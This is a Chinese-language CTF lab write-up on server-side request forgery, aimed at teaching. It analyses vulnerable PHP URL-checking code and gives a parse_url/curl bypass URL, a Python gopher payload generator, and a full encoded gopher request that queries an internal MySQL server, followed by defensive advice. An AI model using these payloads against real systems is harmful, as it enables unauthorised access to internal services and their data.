CTFer成长之路之SSRF漏洞
字数 1284 2025-08-11 17:40:32
SSRF漏洞原理与实战利用教程
1. SSRF漏洞概述
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种安全漏洞,攻击者能够诱使服务器向攻击者指定的内部系统发起请求。这种漏洞通常出现在服务器提供了从其他服务器获取数据的功能但没有对目标地址做有效过滤的情况下。
2. 漏洞环境分析
2.1 题目描述
- Web容器中存在一个flag
- MySQL容器中存在一个管理员账号密码
- MySQL容器中内置tcpdump工具
- vulnweb容器中内置一个fpm.py攻击脚本
2.2 容器架构
version: "3"
services:
web:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-1:latest
depends_on:
- redis
- vuln
- mysql
ports:
- "8233:80"
redis:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-2:latest
vuln:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-3:latest
mysql:
image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-4:latest
environment:
- MYSQL_RANDOM_ROOT_PASSWORD=yes
3. 漏洞代码分析
3.1 主要函数解析
3.1.1 check_inner_ip函数
function check_inner_ip($url) {
$match_result = preg_match('/^(http|https)?:\/\/(.+)?$/', $url);
if (!$match_result) {
die('url fomat error');
}
try {
$url_parse = parse_url($url);
} catch(Exception $e) {
die('url fomat error');
return false;
}
$hostname = $url_parse['host'];
$ip = gethostbyname($hostname);
$int_ip = ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 ||
ip2long('10.0.0.0')>>24 == $int_ip>>24 ||
ip2long('172.16.0.0')>>20 == $int_ip>>20 ||
ip2long('192.168.0.0')>>16 == $int_ip>>16;
}
该函数用于检查URL是否为内网IP地址,存在以下关键点:
- 使用正则表达式验证URL格式
- 使用parse_url解析URL获取主机名
- 将主机名转换为IP地址
- 检查IP是否属于私有地址范围
3.1.2 safe_request_url函数
function safe_request_url($url) {
if (check_inner_ip($url)) {
echo $url.' is inner ip';
} else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url']) {
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
该函数用于"安全地"请求URL,但实际上存在SSRF漏洞:
- 先检查URL是否为内网IP
- 如果不是内网IP,则使用cURL发起请求
- 处理可能的重定向
- 输出响应内容
3.2 漏洞利用点
漏洞存在于URL解析不一致:
parse_url()和curl对URL的解析方式不同- 可以构造特殊格式的URL绕过内网IP检查
4. SSRF漏洞利用
4.1 绕过内网IP检查
构造如下格式的URL:
http://a:@127.0.0.1:80@baidu.com/flag.php
解析差异:
parse_url()解析时,host为baidu.com(认为是外网)curl实际请求时,会连接到127.0.0.1:80(实际访问内网)
4.2 获取Web容器中的flag
直接访问构造的URL:
http://192.168.10.24:8233/challenge.php?url=http://a:@127.0.0.1:80@baidu.com/flag.php
4.3 攻击MySQL容器
4.3.1 准备工作
- 找到MySQL容器的ID:
docker ps
- 获取MySQL容器的PID:
docker inspect <container_id> | grep Pid
- 进入MySQL容器的网络命名空间:
nsenter --target <PID> -n
- 查看MySQL容器的IP地址:
ip a
- 在MySQL容器中启动tcpdump抓包:
tcpdump -i eth0 port 3306 -w /var/www/html/mysql.pcap
4.3.2 构造MySQL协议攻击载荷
- 使用MySQL客户端连接数据库:
mysql -h 172.21.0.4 -uweb
- 执行查询操作:
use ssrf;
select * from user;
- 使用Wireshark分析抓取的流量:
- 追踪TCP流
- 过滤出客户端到服务端的数据包
- 将原始数据整理为一行并进行URL编码
4.3.3 生成攻击载荷
使用Python脚本将原始数据转换为gopher协议格式:
def result(s):
a = [s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)
if __name__ == "__main__":
s = "bb00000185a69f20000000012d000000000000000000000000000000000000000000000077656200006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f70696404353637390f5f636c69656e745f76657273696f6e06332e302e3130095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f73740a3137322e32312e302e34210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290500000002737372660f0000000373686f77206461746162617365730c0000000373686f77207461626c657306000000047573657200130000000373656c656374202a2066726f6d20757365720100000001"
print(result(s))
4.3.4 发起攻击
使用生成的gopher协议URL发起攻击:
curl gopher://172.21.0.4:3306/_%bb%00%00%01%85%a6%9f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%77%65%62%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7f%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%04%35%36%37%39%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%33%2e%30%2e%31%30%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%0a%31%37%32%2e%32%31%2e%30%2e%34%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%12%00%00%00%03%53%45%4c%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%73%73%72%66%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%06%00%00%00%04%75%73%65%72%00%13%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%01%00%00%00%01 | cat
5. 防御措施
- 统一URL解析方式,确保检查和实际请求使用相同的解析逻辑
- 禁用不需要的URL协议(如file://, gopher://, dict://等)
- 设置白名单,只允许访问特定的域名或IP
- 禁用curl的跟随重定向功能,或对重定向目标进行检查
- 对返回给用户的信息进行过滤,避免敏感信息泄露
6. 总结
本教程详细分析了SSRF漏洞的原理和利用方式,重点介绍了如何通过URL解析不一致绕过内网IP检查,以及如何利用gopher协议攻击MySQL服务。理解这些技术有助于安全人员更好地防御SSRF漏洞。